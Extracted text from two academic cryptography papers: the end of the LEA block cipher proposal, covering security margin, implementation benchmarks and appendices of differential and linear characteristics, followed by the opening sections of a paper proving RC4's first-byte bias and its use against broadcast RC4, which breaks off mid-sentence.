in-the-middle attack techniques are not applicable to LEA very well. A basic
meet-in-the-middle attack [23] is disturbed since there is no separation of long
rounds. The meet-in-the-middle pseudo-preimage attack [1,50] does not work for
even half rounds. The partial-matching and initial-structure techniques are not
efficient in LEA.

Rotational cryptanalysis [38] is attractively available on ARX-based struc-
tures. We examined the resistance of LEA against rotational cryptanalysis for the
single-key model and the related-key model in which two keys form a rotational
pair. We found that key XORs in the encryption procedure and constant XORs
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in the key schedule prevent rotational characteristics from being constructed for
long rounds.

Algebraic attack [19] forms an overdefined system of equations derived from
the block cipher. Several algorithms are proposed for solving it, but they fail to
find a right solution for existing block ciphers. We think they hardly work for
LEA, too.

4.10 Security Margin

We have studied various existing cryptanalytic techniques for block ciphers in
order to analyze the security of LEA. Although some characteristics we men-
tioned can be somewhat upgraded by new technologies, it is unlikely to find a
new attack to improve significantly the results in Table 2, as long as we did not
miss critical weakness of LEA. We determined the number of rounds for LEA-
128 based on the above security analysis such that the security margin to the
whole rounds ratio is greater than 30 %. For LEA-192 and LEA-256, we added 4
and 8 rounds, respectively to the rounds of LEA-128, considering the difference
of key schedules and security criteria.

5 Implementation

5.1 Software Implementation

We have implemented LEA on various 32-bit and 64-bit software platforms. We
have focused on LEA-128 since the speed decreases almost in proportion to the
number of rounds.

On ARM platforms, we can implement LEA without register-spilling and
most of the bit rotations can be processed without costing any clock cycle thanks
to the barrel shifter. Thus we get remarkably high throughput compared to other
block ciphers both in encryption and decryption.

On Intel/AMD platforms, we can also implement LEA without register-
spilling and, due to the highly parallel structure of LEA round function, we
also get high encryption speed. Moreover, by utilizing SIMD(Single Instruction
Multiple Data) instructions inherent in most of recent Intel/AMD platforms, we
can get even higher throughput for parallel modes of LEA.

On ARM and ColdFire platforms, we have measured the compactness of
LEA. Since the round function of LEA consists of a small number ARX oper-
ations without S-box, the code size of LEA on these platforms is quite small
compared to other block ciphers with the same block size.

We have also estimated the efficiency of LEA on some 8-bit platforms and
confirmed that LEA has sound performance on these platforms.

ARM platforms. ARM processors are the most widely used 32-bit embedded
processors. They support rotate, multiple load/store instructions as well as most
arithmetic and logical ones. Comparison with the speed-optimized implementa-
tion of AES on comparable platforms is given in Table 3.
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Table 4 shows the comparison with the code-size-optimized implementation
of AES.

Intel and AMD Platforms. Most of recent Intel/AMD CPUs have 3 pipelines.
Since LEA consists of 24 rounds and each round can be expressed as a sequence
of 16 instructions, the minimal cycle cost of LEA encryption is expected to be
around 128. Comparison with 32-bit implementation of AES is given in Table 5.

Table 3. Speed of LEA-128 and AES-128 on ARM platform

Algorithm Speed (cycles/byte) Platform

LEA-128 20.06 ARM926EJ-S
AES-128 [47] 34.00 StrongARM SA-1110

Table 4. Code size of LEA-128 and AES-128 on ARM platform

ROM size RAM size Speed
Algorithm (bytes) (bytes) (cycles/byte) Platform

LEA-128 590 32 326.94 ARM926EJ-S
AES-128 [22] 2,164 304 460.50 ARM7TDMI

Decryption is slower than encryption since decryption is processed rather
serially. We note that AES is faster than all other well-known block ciphers with
similar block and key size on these platforms.

Most of recent Intel/AMD processors support SIMD extensions at least up
to SSE2. Thus, basic 32-bit operations like XOR, ADD, SHIFT can be per-
formed very efficiently in parallel. Moreover, the latency and throughput of
SIMD instructions are close to those of corresponding 32-bit-wise instructions
on recent processors. Since LEA is described as a combination of XOR, ADD,
and ROTATE, it is straightforward to implement parallel modes of LEA using
SSE2 to process 4 or 8 blocks simultaneously.

Comparison with SIMD implementations of AES (not using AES instruction
set) is given in Table 6.

ColdFire platforms. ColdFire processors are 32-bit microprocessors targeted
towards embedded systems. LEA shows lower performance here than on ARM
platforms since load/store and rotate operation are performed less efficiently:
They do not support rotate, multiple load/store instructions and the shift instruc-
tion can shift only by up to 8 bits. We have implemented speed-optimized and
size-optimized LEA on MCF5213. Comparison with implementation of AES on
comparable platform is given in Table 7. We note that LEA runs faster than
hardware-accelerated AES.

8-bit and 16-bit Platforms. Though LEA is designed to achieve high performance
in 32-bit platforms. We have also analyzed the performance of LEA on Advanced
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Table 5. Speed (cycles/byte) of LEA-128 and AES-128 on 32-bit Intel/AMD platforms

LEA-128 AES-128
Platform Encryption Decryption Encryption

Intel Core 2 Quad Q6600 9.29 14.83 12.20 [25]
Intel Core i5-2500 9.29 14.52 11.35 [25]
AMD Phenom II X4 965 8.85 14.50 10.35 [25]
AMD Opteron 6176 SE 8.55 14.05 N/A

Table 6. SIMD implementations of LEA-128 and AES-128

Platform LEA CTR AES CTR

Intel Core 2 Quad Q6600 4.51 9.32 [35]
Intel Core i7-860 4.19 6.92 [35]
AMD Opteron 6176SE 4.50 N/A

Virtual RISC(AVR), which are among the most favorable 8-bit platforms. LEA is
estimated to run at around 3,040 cycles for encryption on AVR AT90USB82/162
where AES best record is 1,993 cycles [47]. We suppose that the performance of
LEA is comparable to that of AES on low-end 8-bit or 16-bit platforms, both in
speed and code size.

5.2 Hardware Implementation

We have implemented LEA-128 with Verilog HDL and synthesized to ASIC
with fully verifying the correctness of front-end and back-end design. For HDL
implementation and verification of our design, we have used Mentor Modelsim
6.5f for RTL simulation and Synopsys Design Compiler Ver. B-2008.09-SP5 for
its synthesis. Our RTL level design result of LEA is synthesized to ASIC with
the UMC 0.13µm standard cell library and 100 MHz operating frequency.

Since the LEA consists of the small number of simple operations such as bit
XOR, rotation and 32-bit adder without complex operations such as S-box, it
can be implemented with low hardware resources. The LEA can also achieve high

Table 7. Implementations of LEA-128 and AES-128 on ColdFire Platform

ROM size RAM size Speed
Algorithm (bytes) (bytes) (cycles/byte) Platform

LEA-128 9,674 832 103.59 MCF5213
LEA-128 704 32 829.25 MCF5213
AES-128 [48] 7,996 1,403.51 ColdFire v2

AES-128 [48] 960 160.00 ColdFire v2 with CAU†

†Cryptographic Acceleration Unit
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performance for its short critical path characteristics. The operational blocks for
the round function and key scheduling are so regular that we can achieve these
operations with low hardware resources by using its basic operational blocks
repetitively.

Table 8 shows the hardware complexity of two different implementations of
LEA-128 encryption module: One is the area-optimized and the other is the
FOM-optimized (throughput/area). The area-optimized implementation of LEA
has 3,826 GE and 168 clock cycles, and the FOM-optimized has 5,426 GE and
24 clock cycles. We can see that the LEA encryption algorithm has relatively
lightweight key scheduling and encryption block (Round Function) from this
table.

Table 9 compares our hardware implementation results of LEA-128 encryp-
tion to other 128-bit key block ciphers with view point of FOM.

Table 8. Hardware feature of LEA-128 encryption module

Block Area(GE)
Area-optimized FOM-optimized

Constants generation 970 964
Control unit 75 54
Key scheduling 400 695
State register 920 1,037
Key register 998 1,037
Round function 450 1,080
Others 23 559
Total block 3,826 5,426

Table 9. Hardware implementation of LEA-128 encryption algorithm and its compar-
ison to that of other 128-bit key block ciphers

Algorithm Size(bits) Cycles T.put† Tech. Area FOM‡

Key block /block (μm) (GE)

LED [30] 128 64 1,872 3.42 0.18 1,265 0.26
CLEFIA [52] 128 128 328 39 0.09 2,488 1.56
PICCOLO [51] 128 64 528 12.12 0.13 758 1.59
LEA-1281 128 128 168 76.19 0.13 3,826 1.9
AES [45] 128 128 226 56.64 0.13 2,400 2.35
HIGHT [31] 128 64 34 188.24 0.25 3,048 6.17
TWINE [53] 128 64 36 178 0.09 1,866 9.53
LEA-1282 128 128 24 533.33 0.13 5,426 9.82
PRESENT [13] 128 64 32 200 0.18 1,570 12.73

†Throughtput@100KHz (Kbps), ‡FOM : (Throughput/Area)×102

1 : Area-optimized implementation of LEA-128
2 : FOM-optimized implementation of LEA-128
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6 Conclusion

We have proposed a new block cipher LEA, which has 128-bit block size and
128, 192, or 256-bit key size. LEA provides a high-speed software encryption
on general-purpose processors. It can be also implemented to have tiny code
size. Its hardware implementation has a competitive throughput per area. It is
secure against all the existing attacks. In spite of the remarkable implementation
results presented in this paper, we believe that the they have room for further
optimizations.

A Differential Characteristic

Let ΔXi be the XOR difference of Xi, and let pi be the probability of ΔXi →
ΔXi+1. The probability p of an r-round differential characteristic is computed
as p =

∏r−1
i=0 pi.

Table 10 shows the 11-round differential characteristic with the probability
of 2−98. The differences in the table are denoted in hexadecimal.

Table 10. 11-round differential characteristic with the probability of 2−98

i ΔXi pi

0 80000234 α0402214 β0401205 γ0400281 2−22

1 80400080 8a000080 82000210 80000234 2−14

2 80000014 80400014 80400004 80400080 2−9

3 80000000 80000000 80000010 80000014 2−3

4 00000000 80000000 80000000 80000000 1
5 00000100 00000000 00000000 00000000 2−1

6 00020000 00000000 00000000 00000100 2−2

7 04000000 00000000 00000020 00020000 2−4

8 00000008 00000001 00004004 04000000 2−8

9 00001200 28000200 80800800 00000008 2−12

10 00200050 05440050 10100101 00001200 2−23

11 η800000a 88aaa00a 220202ζ0 00200050

The 7-round differential characteristic with the probability of 2−27, discard-
ing the first two rounds and the last two rounds is used for constructing a
14-round boomerang characteristic.

B Linear Approximation

Let ΓXi be the mask of Xi, and let εi = pi − 1/2 be the bias of the linear
approximation

ΓXi · Xi ⊕ ΓXi+1 · Xi+1 = ΓKi · RK. (2)
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Table 11. 11-round linear approximation with the bias ε = 2−62

ΓX0 = 0aff33f0 470032b0 735801c0 15f00080

(α0
0, α

0
1, α

0
2) = (0a0033f0, 0f0033b0, 0a0033b0) εα0 = 2−7

(β0
0 , β0

1 , β0
2) = (48000100, 6c000100, 48000180) εβ0 = −2−4

(γ0
0 , γ0

1 , γ0
2) = (1f5800c0, 15f00080, 15500080) εγ0 = 2−7

ΓX1 = 00676014 0240000c 02aa0010 00ff0000

(α1
0, α

1
1, α

1
2) = (00600014, 00400014, 0040001e) εα1 = 2−4

(β1
0 , β1

1 , β1
2) = (02000018, 02000010, 03000010) εβ1 = −2−3

(γ1
0 , γ1

1 , γ1
2) = (00aa0000, 00ff0000, 00aa0000) εγ1 = 2−5

ΓX2 = 80003c00 80180000 00154000 00076000

(α2
0, α

2
1, α

2
2) = (80000000, 80000000, c0000000) εα2 = −2−2

(β2
0 , β2

1 , β2
2) = (00180000, 00100000, 00100000) εβ2 = 2−2

(γ2
0 , γ2

1 , γ2
2) = (00054000, 00076000, 0005c000) εγ3 = −2−4

ΓX3 = 00000180 00008000 0000b800 00003c00

(α3
0, α

3
1, α

3
2) = (00000000, 00000000, 00000000) εα3 = 2−1

(β3
0 , β3

1 , β3
2) = (00008000, 00008000, 0000c000) εβ3 = −2−2

(γ3
0 , γ3

1 , γ3
2) = (00003800, 00003c00, 00003800) εγ3 = 2−3

ΓX4 = 00000000 00000600 00000700 00000180

(α4
0, α

4
1, α

4
2) = (00000000, 00000000, 00000000) εα4 = 2−1

(β4
0 , β4

1 , β4
2) = (00000600, 00000600, 00000600) εβ4 = 2−2

(γ4
0 , γ4

1 , γ4
2) = (00000100, 00000180, 00000100) εγ4 = 2−2

ΓX5 = 00000000 00000030 00000020 00000000

(α5
0, α

5
1, α

5
2) = (00000000, 00000000, 00000000) εα5 = 2−1

(β5
0 , β5

1 , β5
2) = (00000030, 00000020, 00000020) εβ5 = 2−2

(γ5
0 , γ5

1 , γ5
2) = (00000000, 00000000, 00000000) εγ5 = 2−1

ΓX6 = 00000000 00000001 00000000 00000000

(α6
0, α

6
1, α

6
2) = (00000001, 00000001, 00000001) εα6 = 2−1

(β6
0 , β6

1 , β6
2) = (00000000, 00000000, 00000000) εβ6 = 2−1

(γ6
0 , γ6

1 , γ6
2) = (00000000, 00000000, 00000000) εγ6 = 2−1

ΓX7 = 00000200 00000000 00000000 00000001

(α7
0, α

7
1, α

7
2) = (00000001, 00000001, 00000001) εα7 = 2−1

(β7
0 , β7

1 , β7
2) = (00000001, 00000001, 00000001) εβ7 = 2−1

(γ7
0 , γ7

1 , γ7
2) = (00000001, 00000001, 00000001) εγ7 = 2−1

ΓX8 = 00000200 08000000 20000000 00000201

(α8
0, α

8
1, α

8
2) = (28000201, 38000201, 2c000301) εα8 = 2−4

(β8
0 , β8

1 , β8
2) = (30000201, 20000301, 20000201) εβ8 = 2−3

(γ8
0 , γ8

1 , γ8
2) = (00000301, 00000201, 00000201) εγ8 = 2−2

ΓX9 = 00060258 09000010 20000040 28000001

(α9
0, α

9
1, α

9
2) = (01000059, 01000051, 01800071) εα9 = 2−4

(β9
0 , β9

1 , β9
2) = (08000041, 0c000041, 08000061) εβ9 = −2−3

(γ9
0 , γ9

1 , γ9
2) = (2c000001, 28000001, 38000001) εγ9 = −2−3

ΓX10 = 0000e203 08400003 27000000 01060201

(α10
0 , α10

1 , α10
2 ) = (3c660203, 3c440202, 3c440302) εα10 = −2−7

(β10
0 , β10

1 , β10
2 ) = (34040201, 26040201, 24060301) εβ10 = 2−5

(γ10
0 , γ10

1 , γ10
2 ) = (01040201, 01060201, 01840301) εγ10 = 2−4

ΓX11 = 88060478 09203018 20308060 3c66e000
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Table 12. 10-round impossible differential characteristic

i ΔXi in forward direction ΔXi in backward direction i

X[0] 0 10000000000000000000000000000000
X[1] 10000000000000000000000000000000
X[2] 10000000000000000000000000000000
X[3] 10000000000000000000000000000000
X[0] 1 00000000000000000000000000000000
X[1] 00000000000000000000000000000000
X[2] 00000000000000000000000000000000
X[3] 10000000000000000000000000000000
X[0] 2 00000000000000000000000000000000 00000000000000000000000000000000 10
X[1] 00000000000000000000000000000000 00000000000000000000000000000000
X[2] 00010000000000000000000000000000 00010000000000000000000000000000
X[3] 00000000000000000000000000000000 00000000000000000000000000000000
X[0] 3 00000000000000000000000000000000 00000000000000000000000000000000 9
X[1] 00000xxx100000000000000000000000 00000000000000000000000000000000
X[2] 000xxx10000000000000000000000000 00000000000000000000000000000000
X[3] 00000000000000000000000000000000 10000000000000000000000000000000
X[0] 4 00000000000000000000000xxxxxxxx1 10000000000000000000000000000000 8
X[1] 00000xxxxxxxx1000000000000000000 10000000000000000000000000000000
X[2] 000xxxxxxxx100000000000000000000 10000000000000000000000000000000
X[3] 00000000000000000000000000000000 10000000000000000000000000000000
X[0] 5 xxxxxxxxxxxxxxxxxxxxxx1xxxxxxxxx 10000000000000000000000000000000 7
X[1] 00000xxxxxxxxxxxxx10000000000000 xxxxxxxxx10000000000000000000000
X[2] 000xxxxxxxxx10000000000000000000 xxxxxxxxxxxxxxxxxxxxxxxxxxx10000
X[3] 00000000000000000000000xxxxxxxx1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxx100
X[0] 6 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxx100 6
X[1] 00000xxxxxxxxxxxxxxxxxx100000000 xxxxxxxxxxxxxxxxxxxxxxxxxxxxx100
X[2] xx1xxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
X[3] xxxxxxxxxxxxxxxxxxxxxxx1xxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Equation (2) is XOR-sum of the following approximations:

αi
0 · (Xi[0] ⊕ RKi[0]) ⊕ αi

1 · (Xi[1] ⊕ RKi[1]) = αi
2 · ROR9(Xi+1[0]),

pαi = 1/2 + εαi
, (3)

βi
0 · (Xi[1] ⊕ RKi[2]) ⊕ βi

1 · (Xi[2] ⊕ RKi[3]) = βi
2 · ROL5(Xi+1[1]),

pβi = 1/2 + εβi
, (4)

γi
0 · (Xi[2] ⊕ RKi[4]) ⊕ γi

1 · (Xi[3] ⊕ RKi[5]) = γi
2 · ROL3(Xi+1[2]),

pγi = 1/2 + εγi
. (5)

Let ε be the bias of an r-round linear approximation. Note that εi = 4εαiεβi
εγi

and ε = 2r−1
∏r−1

i=0 εi by Piling-Up Lemma [44].
Table 11 shows the 11-round linear approximation with the biases of 2−62.

The masks in the table are denoted in hexadecimal.
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C Impossible Differential Characteristic

Table 12 shows one of three 10-round impossible differential characteristic
reported in [20]. ‘1’ and ‘0’ mean the single bits 1 and 0 in the XOR
difference. ‘x’ means an unknown bit.
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Abstract. In FSE 2011, Maitra and Paul observed that there exists
negative bias in the first byte of the RC4 keystream towards 0. In this
paper, we give our theoretical proof of this bias. This bias immediately
provide distinguisher for RC4, and ciphertext only attack on broadcast
RC4. Additionally, we discover some new weaknesses of the keystream
bytes even after the first N rounds of the PRGA, where N is the size
of the RC4 permutation, generally, N = 256. The weaknesses in turn
provide us with certain state information from the keystream bytes no
matter how many initial bytes are thrown away.

Keywords: RC4 · Broadcast RC4 · Ciphertext only attack · Distin-
guishing attack · State recovery attack.

1 Introduction

RC4, designed by Ron Rivest in 1987, is the most widely deployed stream cipher
in practical applications. Due to its simplicity and extremely fast software per-
formance, RC4 has been integrated into TLS/SSL and WEP applications. RC4
takes an interesting design approach which is quite different from that of LFSR-
based stream ciphers. This implies that many of the analysis methods known
for such ciphers cannot be applied. The internal state of RC4 consists of a table
of N = 2n n-bit words and two n-bit pointers, where n is a parameter (for the
nominal version, n = 8). The table varies slowly in time under the control of
itself. When n = 8, RC4 has a huge state of (28)2 ⊕ log228!, approximately 1,700
bits. It is thus impractical to guess even a small part of this state, or to use
standard time/memory/data tradeoff attacks. In addition, the state evolves in
a complex non-linear way, and thus it is difficult to combine partial informa-
tion about states which are far away in round. Consequently, all the techniques
developed to attack stream ciphers based on linear feedback shift registers seem
to be inapplicable to RC4.

Y. Kim et al. (Eds.): WISA 2013, LNCS 8267, pp. 28–38, 2014.
DOI: 10.1007/978-3-319-05149-9 2, c© Springer International Publishing Switzerland 2014
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The initial bytes( the first N outputs ) of RC4 have been thoroughly analyzed
in a large amount of papers. In FSE 2011, Matrai and Paul proved that the initial
3–255 bytes of the keystream are positive biased to 0 which are in accordance
with the experiment. The experiment also showed that the first keystream byte
is negative biased to 0, the proof of the bias was posed as an open problem, see
[10]. In this paper, we provide a satisfied proof of this bias, this bias immediately
provide distinguisher for RC4, and it can be used for plaintext recovery attack
in the broadcast RC4.

In FSE 2013, Alfardan, Bernstein etc. reported their result of all the biases in
the first N bytes of the RC4 keystream without theoretical proofs. However, the
keystream bytes produced after round N of the PRGA haven’t been adequately
studied in the last decades, most of previous attacks will fail when the first N
bytes of the keystream are dumped. In our paper, we give out some weaknesses
exit in all rounds, which will in turn provide us with certain information form
any keystream byte and improve the state recovery attack [1,7].

This paper will be organized as follows. In Sect. 2, we introduce the RC4
cipher and the notations we use throughout this paper. We give our theoretical
proof of the open problem in [10] in Sect. 3, what’s more, the corresponding
distinguishing attack and ciphertext only attack were presented. Section 4 details
some weaknesses exit in all PRGA rounds of RC4. Finally, we conclude in Sect. 5.

2 Description of RC4

RC4 runs in two phases, the key scheduling phase KSA and the output keystream
generation phase PRGA. The description is as follows.

1 KSA
2 for i ∀ 0 to N − 1
3 do s[i] ∀ i
4 j ∀ 0
5 for i ∀ 0 to N − 1
6 do j ∀ j + s[i] + k[i mod l]
7 swap (s[i], s[j])
8 PRGA
9 i, j ∀ 0

10 while i ≤ 0
11 do i ∀ i + 1
12 j ∀ j + s[i]
13 swap (s[i], s[j])
14 output s[s[i] + s[j]]

The KSA swaps N pairs of the array {0, 1, 2, . . . , N −1}, depending on the value
of the secret key, where l is the word length of the secret key. At the end of KSA,
we reach an initial state for PRGA phase, which generates keystream words of
log2N bits. Note that the symbol ∞+∞ denotes the addition modular N .
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Notations. Let st, it, jt, zt denote the state, index i, index j and the keystream
byte respectively, after t(t � 0) rounds of PRGA have been performed. Specially,
s0 is the state just before the PRGA starts, i.e, right after the KSA ends. ∞+∞(∞−∞)
denotes addition(substraction) modular by N when applying to the algorithm
of RC4, where N = 256.

3 z1 Is Negative Biased to 0

In this section, we give the theoretical proof of the negative bias. We state our
result by the following theorem.

Theorem 1. The probability that the first RC4 keystream byte is equal to 0 is
Pr(z1 = 0) √ 0.003877.

During the proof of our theorem, we shall require the following well known
result in RC4 crytanalysis from the existing literature. This appears in [5], and
we restate the result as follows.

Lemma 1. At the end of KSA, for 0 � u � N − 1, 0 � v � N − 1,

Pr(s0[u] = v) =

{
1
N [(N−1

N )
v

+ (1 − (N−1
N )

v
)(N−1

N )
N−u−1

] ifv � u;
1
N [(N−1

N )
N−u−1

+ (N−1
N )

v
] ifv > u.

We denote the probability Pr(s0[u] = v) as pu,v in the following part of the paper.

We also need the following probability formula through our proof.

Lemma 2. Let A, B be two events with Pr(B) ←= 0, {Ci}ni=1 be a
sequence of events satisfied Pr(∈Ci) = 1 and →Ci = ∅. Then Pr(A|B) =∑

i

Pr(A|Ci, B) Pr(Ci|B).

Proof.

Pr(A|B) =
∑

i

Pr(A,Ci|B) =
∑

i

Pr(A,Ci, B)
Pr(B)

=
∑

i

Pr(A|Ci, B)Pr(Ci, B)
Pr(B)

=
∑

i

Pr(A|Ci, B)Pr(Ci|B).

Now we will prove Theorem 1 with the lemmas.
The proof of Theorem 1
We prove the result by decomposing the event z1 = 0 into two mutually

exclusive and exhaustive cases as follows.

Pr(z1 = 0)
= Pr(z1 = 0|s0[1] = 1)Pr(s0[1] = 1) + Pr(z1 = 0|s0[1] ←= 1)Pr(s0[1] ←= 1)
= p1,1Pr(z1 = 0|s0[1] = 1) + (1 − p1,1)Pr(z1 = 0|s0[1] ←= 1) (1)
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Now we consider the events z1 = 0|s0[1] = 1 and z1 = 0|s0[1] ←= 1 individually to
calculate their probabilities. Note that z1 = s1[s1[1]+s1[j1]] = s1[s0[j1]+s0[1]] =
s1[s0[s0[1]] + s0[1]].

Calculation of Pr(z1 = 0|s0[1] = 1). In this case, j1 = s0[1] = 1 = i1, and thus
s1 is the same permutation as s0. Then we have the probability

Pr(z1 = 0|s0[1] = 1) = Pr(s1[s0[s0[1]] + s0[1]] = 0|s0[1] = 1)

= Pr(s1[2] = 0|s0[1] = 1) =
1

N − 1
(2)

In fact, we infer from Lemma 1 that Pr(s0[a] = 0) is uniformly distributed (v=0),
with a trivial probability of 1

N . Also, considering s0[2] ←= 1 when s0[1] = 1. It is
reasonable to estimate Pr(s0[2] = 0|s0[1] = 1) as 1

N−1 . Generally, we estimate
Pr(s0[a] = x|s0[b] = y) as N

N−1pa,x when x ←= y, a ←= b.

Calculation of Pr(z1 = 0|s0[1] ←= 1). By Lemma 2,

Pr(z1 = 0|s0[1] ∈= 1)

= Pr(z1 = 0|s0[s0[1]] = 0, s0[1] ∈= 1)Pr(s0[s0[1]] = 0|s0[1] ∈= 1)

+ Pr(z1 = 0|s0[s0[1]] = 1 − s0[1], s0[1] ∈= 1)Pr(s0[s0[1]] = 1 − s0[1]|s0[1] ∈= 1)

+ Pr(z1 = 0|s0[s0[1]] ∈= 0, 1 − s0[1], s0[1] ∈= 1)Pr(s0[s0[1]] ∈= 0, 1 − s0[1]|s0[1] ∈= 1)

Now we consider the three parts of the equation separately.
For Pr(z1 = 0|s0[s0[1]] = 0, s0[1] ←= 1), since s0[1] ←= 1, 0 = s0[s0[1]] ←= s0[1],

thus we get z1 = s1[s0[1] + s0[s0[1]]] = s1[s0[1]] = s0[1] ←= 0. Therefore, Pr(z1 =
0|s0[s0[1]] = 0, s0[1] ←= 1) = 0.

For Pr(z1 = 0|s0[s0[1]] = 1 − s0[1], s0[1] ←= 1), since s0[1] ←= 1, s0[s0[1]] =
1 − s0[1] ←= 0, thus we get z1 = s1[s0[s0[1]] + s0[1]] = s1[1] = s0[s0[1]] ←= 0.
Therefore Pr(z1 = 0|s0[s0[1]] = 1 − s0[1], s0[1] ←= 1)=0.

For Pr(z1 = 0|s0[s0[1]] ←= 1− s0[1], s0[1] ←= 1), since s0[s0[1]]+ s0[1] ←= 1, s0[1].
z1 = s1[s0[s0[1]] + s0[1]] = s0[s0[s0[1]] + s0[1]]. Thus we get

Pr(z1 = 0|s0[s0[1]] ←= 0, 1 − s0[1], s0[1] ←= 1)
= Pr(s0[s0[s0[1]] + s0[1]] = 0|s0[s0[1]] ←= 0, 1 − s0[1], s0[1] ←= 1)

the value of s0 at s0[1]+s0[s0[1]] are independent of the value at s0[1], 1, because
of the randomness of s0[1]. Through a similar analysis with (2), we get

Pr(z1 = 0|s0[s0[1]] ←= 0, 1 − s0[1], s0[1] ←= 1) =
1

N − 1

Combine these results, we get

Pr(z1 = 0|s0[1] ∈= 1)

=
1

N − 1
Pr(s0[s0[1]] ∈= 0, 1 − s0[1]|s0[1] ∈= 1)

=
1

N − 1

N−1∑

x=0

Pr(s0[s0[1]] ∈= 0, 1 − s0[1]|s0[1] = x, s0[1] ∈= 1)Pr(s0[1] = x|s0[1] ∈= 1)
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=
1

N − 1

∑

x ∗=1

Pr(s0[x] ∈= 0, 1 − x|s0[1] = x) Pr(s0[1] = x|s0[1] ∈= 1)

=
1

N − 1

∑

x ∗=1

[1 − Pr(s0[x] = 0|s0[1] = x) − Pr(s0[x] = 1 − x|s0[1] = x)]p1,x ∗ N

N − 1

=
N

(N − 1)2
(
∑

x ∗=1

p1,x −
N−1∑

x=2

1

N − 1
p1,x − N

N − 1

∑

x ∗=1

px,1−xp1,x) (3)

Combining the probabilities from Eqs. (2) and (3) into (1), we obtain the follow-
ing

Pr(z1 = 0)

=
1

N − 1
p1,1 +

N

(N − 1)2
(
∑

x ∗=1

p1,x −
N−1∑

x=2

1

N − 1
p1,x − N

N − 1

∑

x ∗=1

px,1−xp1,x)(1 − p1,1)

Now, substituting the values of pm,n from Lemma 1, we obtain

Pr(z1 = 0) √ 0.003877. (4)

We run the RC4 algorithm 1 billion times, each with a randomly generated 16
byte key, and obtain z1. The probability of z1 = 0 is 0.003896, which is slightly
larger than our theoretical result, this may due to the approximation of the
probability Pr(s0[a] = x|s0[b] = y).

3.1 A New Distinguisher

Theorem 1 immediately give a new distinguisher. In [3], it is proved that if
an event e happens with probabilities p and p(1 + q) in distributions X and Y
respectively, then for p and q with small magnitude, O(p−1q−2) samples suffice
to distinguish X from Y with a constant probability of success.

In our setting, let X and Y denote the distributions corresponding to ran-
dom stream and RC4 keystream respectively, and e denotes the event z1 = 0.
From Eq. (4), we have Pr(z1 = 0) √ 1

N (1 − 0.007488), thus p = 1
N , q =

0.007488. Therefore, to distinguishing RC4 keystream from random stream,
based on the event z1 = 0, one would need number of samples of the order
of ( 1

N )−1 ⊕ 0.007488−2 ∼ O(N3). We list the distinguishers of the form zt = 0 in
Table 1.

Table 1. Distinguishers of the form zt = 0.

Round number t Data complexity Reference

1 O(N3) Our
2 O(N) [3]
3–255 O(N3) [10]
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3.2 A Ciphertext-Only Attack on Broadcast RC4

A broadcast cipher is a multi-round protocol in which each general broadcasts the
same message to all the other generals, where each copy is encrypted under a dif-
ferent key agreed in advance between any two generals. For example, many users
send the same email message to multiple recipients( encrypted under different
keys), and many groupware applications enable multiple users to synchronize
their documents by broadcasting encrypted modification lists to all the other
group members. By using RC4, the generals will succeed in reading coordinated
decisions, however, an enemy will probably collects all the ciphertext and recover
the first plaintext.

Theorem 2. Let M be a plaintext, and let C1 · · ·Ck be the RC4 encryptions of
M under k uniformly distributed keys. Then if k = O(N3), the first byte of M
can be reliably extracted from C1 · · ·Ck.

Proof. Recall from Theorem 1 that Pr(z1 = 0) √ 0.003877. Thus, for each
encryption key chosen during broadcast, the first plaintext byte M[1] has
probability 0.003877 to be XOR-ed with 0.

Due to the bias of z1 towards 0, 0.003877 fraction of the first ciphertext
byte will have the same value as the first plaintext byte, with a lower proba-
bility. When k = O(N3), the attacker can identify the less frequent character
in C1[1] · · ·Ck[1] with probability 0.003877 as M[1] with constant probability of
success.

Experiment. We generate k 16 byte keys, and obtain k keystreams, these
keystreams are used to encrypt the same message. When k = 227, the suc-
cess probability is only 16%, and it reaches 70% when k = 230. The reason for
higher data complexity is that the probabilities Pr(z1 = 253), Pr(z1 = 254),
Pr(z1 = 255) are only slightly larger than the probability Pr(z1 = 0), which
we can see from the experiment result of [2]. Thus we need more keystreams to
distinguishing them.

In [3,10], there are plaintext recovery attack on M [2] to M [N − 1], together
with our recovery on M [1], one can consist a plaintext recovery attack on the
first N bytes of RC4. What’s more, if we apply the biased sequence of the form
ABSAB in [4] to recover the bytes after round N as well, a full plaintext recovery
attack is possible.

4 Some New Weaknesses of RC4

When we take a closer look at the proofs of our bias on z1 = 0 and other biases
exit in the first N bytes mentioned in [3,6,10], we will find that most of the biases
are due to the non-uniformly distributed s0. That means the initialization of RC4
is weak. However, all these attacks become infeasible when the first N bytes of
the keystream are dumped, in fact, when the round number t is large enough, the
permutation st is uniformly distributed. In this section, we present two general
weaknesses of RC4, these weaknesses exit no matter how many keystream bytes
are dumped.
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4.1 The Weakness about zt = 0

We express the first weakness by the following theorem.

Theorem 3. When the round number t � 1, if st−1[t + 1] = 0, jt−1 = 0 and
st−1[t] ←= t + 1, then zt+1 = 0.1

Proof. The proof comes from the execution process of the cipher. At the tth
round, jt is updated by jt = jt−1 + st−1[t] = st−1[t] ←= t + 1, together with
it = t ←= t+1, we get st[t+1] = st−1[t+1] = 0. During the (t+1)th round, jt+1

is updated by jt+1 = jt + st[t + 1] = jt, therefore we swap st[t + 1] and st[jt] to
update the state st+1. From above, we obtain

zt+1 =st+1[st+1[t + 1] + st+1[jt]] = st+1[st[jt] + st[t + 1]]
=st+1[st−1[t]] = st+1[jt] = st[t + 1] = 0.

As we know, the non-randomness of zt+1 = 0 will give new distinguishers. We
denote Eint the event st−1[t + 1] = 0, jt−1 = 0 and st−1[t] ←= t + 1, then it
follows immediately from Theorem 3 that Pr(zt+1 = 0|Eint) = 1. If we assume
that when Eint does not occur, zt+1 = 0 happens with probability 1

N , then the
probability of zt+1 = 0 is computed as follows

Pr(zt+1 = 0) =Pr(zt+1 = 0|Eint)Pr(Eint) + Pr(zt+1 = 0|Eint)Pr(Eint)

=Pr(Eint) +
1
N

(1 − Pr(Eint)) (5)

When t is large, st and jt are expected to be uniformly distributed, thus Pr(Eint)
= 1

N2 (1 − 1
N ). We substitute this probability to (5) and get when t is large,

Pr(zt+1 = 0) =
1
N

(1 +
1
N

(1 − 1
N

)2) (6)

Equation (6) implies a large bias. Unfortunately, experiment shows that when
